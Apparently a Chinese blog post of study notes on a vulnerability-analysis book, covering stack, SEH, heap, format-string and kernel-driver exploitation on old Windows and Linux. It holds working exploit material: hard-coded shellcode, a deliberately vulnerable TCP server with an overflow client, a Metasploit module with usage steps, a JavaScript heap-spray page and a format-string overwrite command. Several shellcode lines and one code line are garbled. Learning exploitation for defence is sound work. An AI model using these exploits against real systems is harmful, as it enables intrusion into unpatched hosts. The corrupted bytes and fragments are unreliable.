本公众号分享的所有技术仅用于学习交流,请勿用于其他非法活动,如果错漏,欢迎留言指正
《0day安全:软件漏洞分析技术第2版》王清电子工业出版社
入门用,但不全,过时了,linux部分没有包含进去
BUG
:软件的功能性逻辑缺陷。影响软件的正常功能。漏洞
:能够导致软件做一些超出设计范围的事情的bug,则漏洞。这类BUG,通常不会影响软件的正常功能,但如果被攻击者利用之后,会执行一些恶意的代码(漏洞挖掘者一般弹出对话框和calc.exe,下载木马病毒到目标电脑上或者挖矿程序等)。0Day
:攻击者掌握的未被软件厂商修复的漏洞。
1Day
:已经被软件厂商修复的漏洞,但用户没有打补丁。POC代码
:Proof of Concept,证明漏洞存在或者利用漏洞的代码,exploit的过程
POC代码
还没有公布,漏洞依然不会产生太大的破坏性,一旦POC代码
还没有公布,后果很严重POC代码
POC代码
,留着自己玩。EXP
用来进行恶意攻击参考网址:1.cve.mitre.orgcert.org
2.cert.org
3.blogs.360.cn
4.https://www.anquanke.com/
5.freebuf.com
乌云(关闭了,可能是因为模式的问题(一旦提交漏洞之后,通知软件厂商,限时修复,过期就会把漏洞细节公布),因此得罪了很大一部分人)
根本原因
:冯洛伊曼计算机体系(存储程序)未对数据和代码明确区分
明确区分数据和代码
的,当时哈佛
计算机就是按照这个原型设计的。过程
ShellCode
数据
(参数和局部变量),不应该存放代码
的Exploit
–利用
/**
* 函数参数右往左次入栈,栈对齐,参数大小会提升到4个字节,比如char,short 1Byte/2Byte数据存放在4Byte的空间中
* 在printf中float会提升到double(4Byte->8Byte)
*
* stcpy不会对拷贝的长度进行检查,从地址往高地址拷贝,当拷贝长度大于局部变量的空间,就会产出栈溢出,可以精心构造,把老的eip覆盖成shellcode的地址,
* 函数执行返回的时候,就会去执行shellcode,加密磁盘,下载木马,反向链接客户端(肉鸡,在目标计算机打开一个端口,连接自己电脑,通过这个通道控制计算,甚至系统重启,反向链接依旧可以保持)
* 低 --------- <---esp
* | |局部变量区| /\
* | ---------- <---ebp |
* | | 老ebp | |
* | ---------- |
* | | 老eip | |
* 内 ---------- <----ebp栈平衡 栈
* 存 | 参数1 | 增
* 增 ---------- 长
* 长 | ... | 方
* 方 ---------- 向
* 向 | 参数n | |
* | ---------- |
* \/
* 高
*/
机器码
(指令)的十六进制
编码字符串
/// 构造一个shellcode,通过栈溢出,实现弹出计算器,即system("calc.exe");
// LoadLibrary("msvcrt.dll");
// system("calc.exe");
// ExitProcess()
/// @todo shellcode这些函数的地址硬编码了,如果引入地址随机化技术(PE加载的ImageBase不再是0x00400000)之后,每次程序重新启动后,这些函数的地址都是变化的。
/// @todo 不兼容多平台,最好不使用硬编码,而是动态搜寻函数地址。
/// @todo 自加解密,自压缩解压,加解壳,让shellcode绕开防火墙或者杀毒软件的检测
/// @attention strcpy()拷贝数据不能包含'\x00',即'\0',会被提前截断。比如mov edi,0;这条汇编的机器码必然包含00,所以使用oxr edi,edi;替换
/// x86是低位优先存储,所以需要把机器码按照低位优先的格式反过来构造shellcode的字符串
unsigned char sh[]=
//函数执行前序言部分
"\x8B\xE5" //MoV ESP,EBP; '\x8B'其中`\x`是转义字符,表示后面跟着一个两位的十六进制数
"\x55" //PUSH EBP
"\x8B\xEC" //mov ebp,esp; 提升栈底
"\x33\xFF" //xor edi,edi;这里的0,是字符串的结束符'\0'
"\x57" // push edi;0ch-8=4Byte,多出来4个字节的0
"\x83\xEC\x08" //sub esp,08h
"\xc6\x45\xF4\x6D" //mov byte ptr [ebp-0ch],'m'; 后进先出
"\xc6\x45\xF5\x73" //'s'
"\xc6\x45\xF6\x76" //'v'
"\xc6\x45\xF7\x63" //'c'"
"\xc6\x45\xF8\x72" //'r'
"\xc6\x45\xF9\x74" //'t'
"\xc6\x45\xFA\×2E" //'.'
"\xc6\x451xFB1x64" //'d'
"\xc61x451xFc\x6C" //'l'
"\xc6\x45\xFD\x6C" //'l'
"\x8D\x45\xF4" //lea eax,[ebp-0ch]; "msvcrt.dll"的首地址
"\x50" //push eax; 参数入栈
"\xB8\x7B\x1D\x80\x7c" //mov eax,7C801D7Bh; LoadLibrary函数的地址
"\xFF\xD0" //call eax; LoadLibrary("msvcrt.dll"),system()的地址在msvcrt.dll中。
"\x33\xDB" //xor ebx,ebx
"\x53" //push ebx; '\0'
"\x68\x2E\x65\x78\x65" //push "exe."
"\x68\x63\x61\x6c\x63" //push "calc" 数据在内存中按低位优先存储,栈的增长方向是从高向低,(高->低)所存储的是"exe.calc",即(低->高)所存储的是"clac.exe",可以更抽象一层,只需要记得栈是后进先出的,就可以屏蔽掉这些验算了
"\x8B\xC4" //mov eax,esp; esp指向"clac.exe"的首地址
"\x50" //push eax; 传参
"\xB8\xC7\x93\xBF\x77" //mov eax,77BF93C7h; system()的地址
"\xFF\xD0" // call eax; system("calc.exe")
"\xB8lxFAlxCA1x81lx7C" //mov eax,7c81cafah; ExitProcess()的地址
"\xFF\xD0" //call eax; ExitProcess(),shellcode可能会破坏程序栈上的的其他数据,导致程序执行报错弹窗,用户可能会发现,执行完shellcode之后默默退出,隐秘性更高。
00
的指令手动改写替换其他功能相同的非00
汇编指令unsigined char shellcode[]="验证过的机器码"
typedef void(*Func)()
,在main函数中调用((Func)&shellcode)()
来调试 HINSTANCE LibHandle;
MYPROC ProcAdd;
LibHandle = LoadLibrary("msvcrt.dll"); //加载函数所在的dll到内存空间中,查微软文档即可知道函数对应的dll,这里使用相对地址,存在dll劫持漏洞,应该使用绝对地址
printf("kernel32LibHandle = 0x%x\n", LibHandle);
ProcAdd=(MYPROC)GetProcAddress(LibHandle,"system"); //拿到函数的地址,如果没有加入地址随机化,则函数的地址是固定的。
printf("system= 0x%x\n", ProcAdd);
///xpsp3
77d29353 jmp esp
77d507ea messageboxa
77bf93c7 system msvcrt.dll
7c81cafa ExitProcess
7c801d7b LoadLibraryA
///win2000 sp4
77df4c29 jmp esp
77e18098 messageboxa
78018ebf system msvcrt.dll
77e6e01a ExitRrocess
77e705cf LoadLibraryA
JMP ESP
地址搜索(search opcode)
jmp esp
(对应的机器码是e4ff)的地址
(存放shellcode的位置是在栈上的形参或者是上一层函数栈空间上,具体的地址没有办法确定,因为程序没执行一次函数栈的空间都会改变一次)所以需要使用jmp esp
跳转到shellcode(用jmp esp地址去覆盖ret的返回地址,即老的eip,当函数返回执行ret的时候(老的eip已经被替换成了jmp esp地址,ret(pop eip)
;jmp esp),此时esp指向的是shellcode的起始位置;就会跳转到shellcode上执行user32.dll
jmp esp
的地址#include
#include
#define DLL_NAME "user32.dll" //先找一个常驻内存的dll(系统一启动就加载到内存中的dll)
int main()
{
BYTE* ptr;
int position, address;
HINSTANCE handle;
BOOL done_flag = FALSE;
handle = LoadLibrary(DLL_NAME); //把这个dll加载到内存空间中
if (!handle)
{
printf(" load dll erro !");
exit(0);
}
ptr = (BYTE*)handle;
for (position = 0; !done_flag; position++)
{
try
{
if (ptr[position] == 0xFF && ptr[position + 1] == 0xE4) //暴力搜索,找到`jmp esp`的地址
{
//0xFFE4 is the opcode of jmp esp
int address = (int)ptr + position;
printf("OPCODE found at 0x%x\n", address);
}
}
catch (...)
{
int address = (int)ptr + position;
printf("END OF 0x%x\n", address);
done_flag = true;
}
}
return 0;
}
/// 这个函数存在栈溢出漏洞
void msg_display(char *buf)
{
char msg[200]; //msg存放栈上,且大小只有200Bte
strcpy(msg,buf); //如果buf<200Byte,一切正常,如果buf>=200byte,就会溢出msg,只需要拷贝204+4Byte就会覆盖掉老的eip,即函数的返回地址
cout<<msg<<endl;
}
任意字符串
+JMP ESP
的地址+ SHELLCODE
构建攻击字符串任意字符(
燃料):存放在局部变量+老ebp的空间上地址
(GPS导航):存放在老eip空间上。目标是跳转到shellcode。/*****************************************************************************
To be the apostrophe which changed "Impossible" into "I'm possible"!
POC code of chapter 2.4 in book "Vulnerability Exploit and Analysis Technique"
file name : stack_overflow_exec.c
author : failwest
date : 2006.10.1
description : demo show how to redirect EIP to executed extra binary code in buffer
Noticed : should be complied with VC6.0 and build into debug version
the address of MessageboxA and the start of machine code in buffer
have to be make sure in file "password.txt" via runtime debugging
version : 1.0
E-mail : [email protected]
Only for educational purposes enjoy the fun from exploiting :)
******************************************************************************/
#include
#include
#define PASSWORD "1234567"
int verify_password (char *password)
{
int authenticated;
char buffer[44];
authenticated = strcmp(password,PASSWORD); //相等返回0
strcpy(buffer,password);//over flowed here! 在高版本的编译器编译会warring4996
return authenticated;
}
main()
{
int valid_flag = 0;
char password[1024];
FILE * fp;
LoadLibrary("user32.dll");//prepare for messagebox //这部分应该放到shellcode中去执行
if(!(fp=fopen("password.txt","rw+")))
{
exit(0);
}
fscanf(fp,"%s",password);
valid_flag = verify_password(password);
if(valid_flag)
{
printf("incorrect password!\n");
}
else
{
printf("Congratulation! You have passed the verification!\n");
}
fclose(fp);
}
"4321 //弹药52个字节的填充字节
4321
4321
4321
4321
4321
4321
4321
4321
4321
4321
4321
4321
\x53\x93\xd2\x77 //jmp esp
\x33\xdb //xor ebx,ebx
\x53 //push ebx '\0'进栈,'\0'在最后,因为栈是由高往低增长,后进先出
\x68 // push 'west'一次push完,4个字节一次入栈
\x77 //w
\x65 //e
\x73 //s
\x74 //t 将参数传给messagebox代码
\x68 //push 'fail'一次push完,4个字节 'fail west \0'<--->栈顶-----栈底
\x66 //f
\x61 //a
\x69 //i
\x6c //l
\x8b\xc4 //mov eax,esp 因此eax-->'failwest\0'
\x53 //push ebx (0,'failwest','failwest',0)messagebox4个参数依次入栈
\x50 //push eax
\x50 //push eax
\x53 //push ebx
\xb8 //mov eax,messageboxa
\xea\x07\xd5\x77 //messageboxa的地址
\xff\xd0 //call eax
\x53\xb8 //mov eax, ExitProcess
\xfa\xca\x81\x7c //ExitProcess地址
\xff\xd0 //call eax
\x90\x90\x90\x90\x90\x90"
/*****************************************************************************
To be the apostrophe which changed "Impossible" into "I'm possible"!
POC code of chapter 4 in book "Vulnerability Exploit and Analysis Technique"
file name : target_server.cpp
author : failwest
date : 2007.4.4
description : TCP server which got a stack overflow bug for exploit practice
Noticed : Complied with VC 6.0 and build into release version are recommend
version : 1.0
E-mail : [email protected]
Only for educational purposes enjoy the fun from exploiting :)
******************************************************************************/
#include
#include
#pragma comment(lib, "ws2_32.lib")
void msg_display(char *buf) // buf是从客户端传过来的
{
char msg[200];
strcpy(msg, buf); // overflow here, copy 0x200 to 200
cout << "********************" << endl;
cout << "received:" << endl;
cout << msg << endl;
}
void main()
{
int sock, msgsock, lenth, receive_len;
struct sockaddr_in sock_server, sock_client;
char buf[0x200]; // noticed it is 0x200
WSADATA wsa;
WSAStartup(MAKEWORD(1, 1), &wsa);
if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)
{
cout << sock << "socket creating error!" << endl;
exit(1);
}
sock_server.sin_family = AF_INET; //ipv4
sock_server.sin_port = htons(7777); //监听7777端口
sock_server.sin_addr.s_addr = htonl(INADDR_ANY); //服务器上任意ip地址
if (bind(sock, (struct sockaddr *)&sock_server, sizeof(sock_server)))
{
cout << "binging stream socket error!" << endl;
}
cout << "**************************************" << endl;
cout << " exploit target server 1.0 " << endl;
cout << "**************************************" << endl;
listen(sock, 4);
lenth = sizeof(struct sockaddr);
do
{
msgsock = accept(sock, (struct sockaddr *)&sock_client, (int *)&lenth);
if (msgsock == -1)
{
cout << "accept error!" << endl;
break;
}
else
do
{
memset(buf, 0, sizeof(buf));
if ((receive_len = recv(msgsock, buf, sizeof(buf), 0)) < 0)
{
cout << "reading stream message erro!" << endl;
receive_len = 0;
}
msg_display(buf); // trigged the overflow
} while (receive_len);
closesocket(msgsock);
} while (1);
WSACleanup();
}
// clientdemo.cpp : Defines the entry point for the console application.
//
#include "stdafx.h"
#include
#include
#include
#include
//xp sp3
#pragma comment(lib,"Ws2_32")
unsigned char buff[0x200] =
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
"aaaaa"//200个a 没有老的eip
"\x53\x93\xd2\x77"//jmp esp
"\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53"
"\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6"
"\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA"
"\x7b\x1d\x80\x7c" //loadlibrary地址
"\x52\x8D\x45\xF4\x50"
"\xFF\x55\xF0"
"\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x61\x6c\x63\x89\x45\xF4\xB8\x2e\x65\x78\x65"
"\x89\x45\xF8\xB8\x20\x20\x20\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4"
"\x50\xB8"
"\xc7\x93\xbf\x77" //sytem函数地址 system("calc.exe");
"\xFF\xD0"
"\x53\xb8\xfa\xca\x81\x7c"//ExitProcess Address
"\xff\xd0"//ExitProcess(0);
;
void main(int argc, char* argv[])
{
int fd;
int rtval;
struct sockaddr_in addr;
WORD wVersionRequested;
WSADATA wsaData;
int err;
wVersionRequested = MAKEWORD(2, 2);
err = WSAStartup(wVersionRequested, &wsaData);
if (err != 0)
{
/* Tell the user that we could not find a usable */
/* Winsock DLL. */
printf("WSAStartup failed with error: %d\n", err);
return;
}
//建立TCP套接字
fd = socket(AF_INET, SOCK_STREAM, 0);
//初始化客户端地址
memset(&addr, 0, sizeof (addr));
//设置地址协议族
addr.sin_family = AF_INET;
//设置要连接的IP地址
addr.sin_addr.s_addr = inet_addr(argv[1]);
//设置端口
addr.sin_port = htons(7777);
//连接服务器端
rtval = connect(fd, (struct sockaddr *)&addr, sizeof (addr));
if(rtval == -1)
return;
//向服务器端写数据
printf("normal input:hello world\n");
send(fd, (const char *)"hello world",strlen("hello world")+1,0);
printf("press any key to start overflow\n");
getch();
send(fd, (const char *)buff, sizeof(buff),0);
//从服务器端读数据
//recv(fd, buff, 80,0);
//printf("%s\n", buff);
//关闭套接字
closesocket(fd);
WSACleanup();
return;
}
L"C:\\1234561111111111111111111111111.doc"
,1,&qi);RPCSS
中的GetPathForServer
函数里只给了0x20
字节的内存空间,但是是用lstrcpyw
进行拷贝的)L"\\servername\c$\1234561111111111111111111111111.doc"
这样的形式传递给远程服务器,于是在远程服务器的处理中会先取出servername
名,但是这里没做长度检查,给定了0×20内存空间可执行权限
,所以在新的系统和CPU不会执行栈上的代码。
Kali Linux
class xxx
def initialize
#定义模块初始化信息,如漏洞适用的操作系统平台、为不同操作系统
#指明不同的返回地址、指明she1lcode中禁止出现的特殊字符、
#漏洞相关的描述、URL 引用、作者信息等
end
def exploit
#将填充物、返回地址、shellcode等组织成最终的attack buffer,并发送
end
end
#!/usr/bin/env ruby
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
include Exp1oit::Remote::Tcp
def initialize(info = {})
super (update info (info,
'Name'=>'failwest test',
'Platform'->'win',
'Targets' => [
['windows 2000',{'Ret'=>0x77F8948B}], #jmp esp的地址
['windows xp SP2',{'Ret'->0x7C914393}]
],
'Payload' => {
'Space' => 200, #空间长度
'Badchars'=> "\x00", #被排除的字符
}
))
end #end of initialize
def exploit
connect
attack_buf = 'a'*200 + [target ['Ret']].pack('V')+ payload
encoded
sock.put(attack_buf) #传输buf
handler #处理
disconnect
end #end of exploit def
end #end of class def
C:\metasploit\apps\pro\msf3\modules\exploits\windows\xxx
/usr/share/metasploit-framework/modules/exploits/windows/xxx
show exploits
应该能看到我们所添加的模块位于failwest/testuse failwesttest
选用我们添加的模块show targets
显示可用的目标操作系统set target 0
设置测试目标为Windows 2000系统show payloads
显示可用的 shellcodesct payload windowsl/exec
这个shellcode可以执行一条任意的命令show options
显示需要配置的信息set rhost xxx.XXX.XXX.XXX
设置目标主机的IP地址,如在本地测试,则为127.0.0.1set rport 7777
设置目标程序使用的端口,这里是7777set cmd calc
配置shellcode待执行的命令,“calc”用于打开计算器set exitfunc seh
可不设置,以SEH退出程序exploit
发送测试数据,执行攻击reload
重新加载修改之后的模块#include
#include
int main( void )
{
char *p1 = malloc(Node0);
strcpy(p1,buf); //如果多拷贝16Byte,就会覆盖Node1->fp和Node1->bp,把*bp设置成任意地址,把*fp设置成任意数据,造成缓冲区溢出
char *p2 = malloc(Node1); //发生malloc堆溢出攻击
return 0;
}
/// 分配内存,即当把Node1结点摘掉的时候,
Node1->bp->fp = Node1->fp
(Node1->where)=(Node1->what) //fp在Node1中的offset是0,即Node1绕过了前8个字节,直接指向fp,即(Node0指向Node1中的地址+0x00)
Node1->fp->bp = Node1->bp
(Node1->what) = (Node1->where) //bp在Node1中的offset是4,即(Node0指向Node1中的地址+0x04)
/// 链表的定义
/// 往普通结构体中插入双向指针,就演变成了一个双向链表的节点了
typedef struct _MYDATA_LIST_ENTRY
{
int p_size
int s_size
LIST_ENTRY Entry;
WCHAR data[MAX_PATH];
}MYDATALIST_ENTRY,*PMYDATALIST_ENTRY
// 通过Entry遍历链表,由于指针指向的不是MYDATALIST_ENTRY的首地址,而是指向MYDATALIST_ENTRY.Entry,所以需要计算出MYDATALIST_ENTRY的首地址,通过MYDATALIST_ENTRY的首地址访问节点内的其他成员
//不能这样机械类比。这个是程序中的链表。和堆管理的链表还不太一样。
//堆管理的链表其实也没有公开文档。只是黑客自己分析出来的。
//但也不排除程序中的链表实际上也存在表示链表节点大小的额外头部数据结构
0day安全:软件漏洞分析技术第2版》王清电子工业出版社
x30\x70\x40\x00``\20\xf0\xfd\x7f
shellcode的起始地址
(分配的内存不一定从0开始,只是在0附近),这个时候,用nop指令扩大shellocode的面积,即可提高命中几率
。/// 假如浏览器中有这样一个溢出漏洞:
void get_install_path(char filename,char *fullpath)
{
char inst_dir[260];
get_install_dir(inst_dir);//获取qq的安装目录"c:\\cisco\\QQ",安装目录每个人的系统用户名是不一样的,所以安装目录的长度无法确定
strcat(inst_dir,filename);//"c:\\cisco\\QQ\\qq.exe" 260字节被安装目录占了一部分空间,要造成溢出传入字符串的长度是无法确定的,很难命中返回地址
strcpy(fullpath,inst_dir);
...
}
vtable
时,对指针解析到0x0c0c0c0c,可以达到栈喷射的目的。如果没有解析到0x0c0c0c0c,半路上执行0c0c0c0c,等价于or AL,0c
,是nop-alike指令,对系统没有造成太大影响
<script language="javascript">
var shellcode=unescape("....." ) ;//存放shellcode的内容,unescape解码 十六进制编码->unicode编码:\xc66\x45->\u45c6
var nop=unescape("%u9090%u9090");//unescape解码
while (nop.length<= 0x100000/2)
{
nop+=nop;
}
//generate 1MB memory block which full filled with "nop"
//0x100000/2即2^21/2=2^20即1MB 0001 0000 0000 0000 0000 0000
//malloc header = 32 bytes
//string length = 4 bytes
//NULL terminator = 2 bytes
//
nop = nop.substring(0, 0x100000/2 - 32/2 - 4/2 - shellcode.length - 2/2 );
var slide = new Array();//fill 200MB heap memory with our block
for (var i=0; i<200; i++)
{
slide[i] = nop + shellcode;//每1M都由0x90 0x90 0x90 0x90 0x90 0x90... shellcode \0\0组成
}
script>
@todo
/// 结构化异常处理函数
_try
{
strcpy(buf,input);
zero = 4/zero; //Floating point exception @todo
}
_except(MyExceptionhandler()){} //定义自己的异常处理函数,一旦发生4/0,就会调用异常处理函数
“View”
中的"SEH chain"
, Ollydbg 会显示出目前栈中所有的S.E.H
_try{}_except{ }
或者Assert
宏等异常处理机制,编译器将最终通过向当前函数栈帧中安装一个S.E.H来实现异常处理。(就是说在函数栈上除了ret的函数的返回地址
,还有保存着一个异常处理函数的地址
,可以像覆盖ret的地址那样去覆盖异常处理函数的地址,让其执行shellcode
)栈项
向栈底
串成单向链表
,位于链表最顶端
的S.E.H
通过T.E.B
(线程环境块) 0字节偏移处的指针标识。中断
程序,并首先从T.E.B的0
字节偏移处取出距离栈顶最近的S.E.H
,使用异常处理函数句柄所指向的代码来处理异常。失败
时,将顺着S.E.H 链表依次尝试其他的。都
不能处理,系统将采用默认
的异常处理函数。通常,这个函数会弹出一个错误对话框
,然后强制关闭程序
。白名单
里面,调用异常处理函数之前进行校验
std::out<::value<::value<::value<::value<::value<
ASSCII
:美国(国家)信息交换标准(代)码,一种使用7个或8个二进制位进行编码的方案,最多可以给256个字符(包括字母、数字、标点符号、控制字符及其他符号)分配(或指定)数值。GB2312
:也是ANSI编码里的一种,对ANSI编码最初始的ASCII编码进行扩充,为了满足国内在计算机中使用汉字的需要,中国国家标准总局发布了一系列的汉字字符集国家标准编码,统称为GB码,或国标码。GBK
:即汉字内码扩展规范,K为扩展的汉语拼音中“扩”字的声母。英文全称Chinese Internal Code Specification。GBK编码标准兼容GB2312,共收录汉字21003个、符号883个,并提供1894个造字码位,简、繁体字融于一库。unicode
:世界上存在着多种编码方式,在ANSi编码下,同一个编码值,在不同的编码体系里代表着不同的字。在简体中文系统下,ANSI 编码代表 GB2312 编码,在日文操作系统下,ANSI 编码代表 JIS 编码,可能最终显示的是中文,也可能显示的是日文。在ANSI编码体系下,要想打开一个文本文件,不但要知道它的编码方式,还要安装有对应编码表,否则就可能无法读取或出现乱码。为什么电子邮件和网页都经常会出现乱码,就是因为信息的提供者可能是日文的ANSI编码体系和信息的读取者可能是中文的编码体系,他们对同一个二进制编码值进行显示,采用了不同的编码,导致乱码。这个问题促使了unicode码的诞生。UTF-8
:为了提高Unicode的编码效率,于是就出现了UTF-8编码。UTF-8可以根据不同的符号自动选择编码的长短。比如英文字母可以只用1个字节就够了。Base64
:有的电子邮件系统(比如国外信箱)不支持非英文字母(比如汉字)传输,这是历史原因造成的(认为只有美国会使用电子邮件?)。因为一个英文字母使用ASCII编码来存储,占存储器的1个字节(8位),实际上只用了7位2进制来存储,第一位并没有使用,设置为0,所以,这样的系统认为凡是第一位是1的字节都是错误的。而有的编码方案(比如GB2312)不但使用多个字节编码一个字符,并且第一位经常是1,于是邮件系统就把1换成0,这样收到邮件的人就会发现邮件乱码。宽字节
字符串多字节
字符串hello world
每个字符占1个字节,中国
每个字符占2个字节_T("hello world")
这个宏
根据工程的设置,自适应变成宽字节
或者多字节
ANSI_STRING
字符串不是'\0'
结尾,是一个结构体(有buffer,length)UNICODE_STRING
字符串不是'\0'
结尾,内核统一使用的字符串格式'\0'
、“0”、FALSE、false、NULL
0
,int(4Byte),0x00000000L'0'
,wchar_t(2Byte),0x0030'0'
,char(1Byte),0x30'\0'
,char(1Byte),0x00"0"
,char*(2Byte),0x3000("0\0"
)FALSE
,BOOL(4Byte),0x00000000false
,bool(1Byte),0x00NULL
/// C
#define NULL(viod*)0
/// C++98,C++不允许直接使用void*隐式的转化为其他类型,如果NULL被定义为((viod*)0),当编译char *p = NULL;就会报错。
#define NULL 0
/// 如果NULL 被定义为0,C++中的函数重载就会出问题
void func(int); //因为NULL是0,实际上是调用这个函数,不符合预期,这是是C++98遗留的问题
void func(char*); //当把NULL传给func,期待是调用这个函数
/// C++11,引入了nullptr类型,不是整数类型,能够隐式的转换成任何指针,所以用空指针推荐使用nullptr。
/// NULL的发明人东尼.霍尔(Toby Hoare)图灵奖得主,把NULL引用称为十亿美元的错误
/// 有不使用NULL的语言,Rust就是,一个数据可能有值可能没有值,需要把它放到Option里面,这样编译器在处理Option的时候会强制去判断它是否有值,如果没有值,就需要程序员去处理没有值的情况,否则编译无法通过。
enum Option <T>{ //标识一个值无效或者缺失
Some(T), //T是泛型,可以包含任何数据
None,
}
[flags]``[width]``[.precision]``[{h|l|ll|w|I|I32|I64|}]
type%c
以char(2Byte)字符格式打印%wc
以wchar_t(2Byte)字符格式打印%d
以int(4Byte)格式打印%hd
以short(2Byte)格式打印%ld
以long(4Byte)格式打印%I64d
以_int64
(8Byte)格式打印%lld
以long long或者_int64
(8Byte)格式打印%s
以多字节
字符串格式打印%ws
以宽字节
字符串格式打印%u
以unsigned格式打印%#x
以16进制格式打印#
表示带前缀0x
%02x
以16进制格式打印02
表示不足两位补零%o
以8进制格式打印%#o
以8进制格式打印#
表示带前缀0
%02o
以8进制格式打印02
表示不足两位补零%p
以指针格式打印%f
以float(4Btye)格式打印%.2f
以float(4Btye)格式打印,.2
表示保留小数点后两位%lf
以double(2Byte)格式打印%Z
以ANSI_STRING
字符串格式打印%wZ
以UNICODE_STRING
字符串格式打印%%
打印一个%
%n
,把前面打印的字符总数写入到变量里面去,现在已经被编译器禁用
了,编译
能通过
但执行
的时候会报错
。%01000x%n
把前面打印的字符总数1000
个0
写入到变量里面去,0
表示用0填充,%1000x
表示以16进制格式重复打印1000个字符,x可以替换为c(以char格式打印,还是一个字节)int len = 0;
printf("%n",&len) //把前面打印的"helloworld"字符总数10(不包括'\0','\0'只是截断标记,并不会打印,也无法打印来)写入到len里面去
printf("%1000x%n",'x',&len)
/// 两种打印方式,效果一样,都是安全的
printf("%s", "hello world");
printf("hello world");
/// C语言不是类型安全的语言,传入什么数据都可以执行
void Print(char *buf) {
printf(buf); //printf("%d,%s,%p,...");这里字符串后面没有跟参数,编译器会从栈上找到对应的变量传给printf打印出来,从而知道栈上的内存布局,找到关键位置的边界、敏感数据的位置,为下次溢出攻击做准备。比如心脏流血漏洞,把服务端栈上的数据(用户名和密码)返回给客户端
printf("%s",buf); //这样的用法是安全的,只会打印出"%d,%s,%p,..."
}
Print("hello world"); //正常情况下这样使用没有问题
Print("%d,%s,%p,..."); //如果构造了一个格式化字符串,就会触发格式化字符串漏洞,这只是一个读操作
int len = 0;
Print("helloworld%n...",&len) //这是写操作,危害性更大,把前面打印的"helloworld"字符总数写入到len里面去
/// 如果后面有一个判断,可以修改len来突破判断
if(len>=10)
//登陆成功
else
//登陆失败
/// test.c
#include
#include
int secret = 0x200;
void get_flag()
{
system("cat ./1.txt"); //把当前目录下的1.txt文件打印出来
}
int main(int argc,char** argv)
{
int *p = &secret; //没有这个指令,那linux上用`%02021xn$hn`修改栈上的参数就起不了作用了,因为secret是初始化的全局变量,存放在静态区的.data中,不存在栈上。
//printf("%p\n",p);
printf(argv[1]); //命令行方式运行程序,用户输入传给该程序的参数,直接打印,这里有格式化串漏洞
if(secret == 2021) //正常情况下,secret永远不会从0x200变成2021
{
get_flag();
}
return 1;
}
通过
但执行的时候会报错
。
./test ""%02021x%n",'x',&secret"
将secret的值修改成2021也不行在linux上另一个思路
:
./test "%p,%p,%p,%p,%p,%p,%p,%p,%p,%p"
把printf栈上的参数(%p以4个字节为基本单位(x86上栈对齐是4Byte)打印参数
的地址,形参和上层栈空间(ret往下的栈空间都认为是参数)都可以被打印)的地址都打印出来,根据secret地址
确定secret在printf中是第n
参数%02021x%n$hn
把printf的第n
个参数的2
Byte修改为2021
%02021x%
表示把把前面打印的字符总数2021
个0
写入到变量里面去,0
表示用0填充,%1000x
表示以16进制格式重复打印1000个字符,x可以替换为c(以char格式打印,还是一个字节)n$
表示修改第n个参数的值hn
表示2Byte,n
表示4Byte"%02021x%9$hn"
通过python作为标准输出传给test./test "$(python -c 'import sys;sys.stdout.write("%02021x%9$hn")')"
MmIsAddressValid
函数,这个函数对于校验内存结果是 unreliable 的。if(MmIsAdressValid(p1){ ///< 判断内存地址P1是否有效
/// C库函数int memcmp(const void *str1, const void *str2, size_t n)) 把存储区str1和存储区 str2的前n个字节进行比较
/// @warning 攻击者只需要传递第一个字节在有效页,而第二个字节在无效页的内存就会导致系统崩溃, 例如 0x7000 是有效页,0x8000 是无效页,攻击者传入p1=0x7fff
memcmp(p1,p2,len);
}
pageout
的页面不能准确的判断(MmIsAddressValid 对pageout的内存的返回值是Ture或者False是不能确定的 ),所以攻击者可以利用你的判断失误来绕过你的保护。/// 把文件的句柄转换成文件的内核对象
/// @warning 没有指定一个句柄的类型,攻击者可以传入非文件类型的句柄从而造成系统漏洞,得到其他类型的内核对象,对应的结构体的定义里很可能可能没有FileName,就会行为未定义或者无效内存,下面调用wcsnicmp访问FileName,系统会崩溃,造成蓝屏。
///没有指定一个句柄的类型如果指定了句柄的类型,即使攻击者故意发下来句柄和指定的不符,函数会执行失败,从而wcsnicmp会发现这个失败,就不会去访问fileobject->FileName了
ObReferenceObjectByHandle(FileHandle , Access , NULL(ObjectType) ,...&fileobject);
/// 再访问文件内核对象的文件路径 wcsnicmp把文件内核对象的文件路径与某一路径进行比较
if(wcsnicmp(fileobject->FileName....)
neither io
:应用层直接传一个地址addr到驱动,又传一个值value到驱动,然后赋值((addr) = value)
R0
的地址下来,又传一个值value(通常是0
,可以绕过微软的检查,分配一个以0为起始地址的内存)到驱动,然后赋值(r0的任意函数的地址
= shellcode的地址
(0x00000000)(R0的shellcode存放在R3中以0
地址为起始地址的内存中))低频率被调用
的函数,没有人调用最好。
低频率被调用
没有问题。shellcode
,在当前应用进程
空间中通过调用目标内核函数
来调用shellcode没有问题,一旦切换了进程
,进程上下文进行了切换,新调度上cpu的进程调用这个目标函数,访问shellcode就会出问题,因为这时候的shellcode对于新进程
来说是无效内存
(进程之间是相互隔离的,内存是各自私有
的),就会系统奔溃蓝屏。ZwAllocateVirtualMemory
),并将R0 shellcode
拷贝到此内存空间NTSTATUS ZwAllocateVirtualMemory(
_In_ HANDLE ProcessHandle
_Inout_ PVOID *BaseAddress, //将BaseAddress 指向0传入,这个函数会认为你是想在任意可用的地址上分配内存,而不是0 (系统不会把0地址内存当做可用到),绕过的方法:指定BaseAddress为一个低地址,比如1
_In_ ULONG_PTR ZeroBits,
_Inout_ PSIZE_I RegionSize,
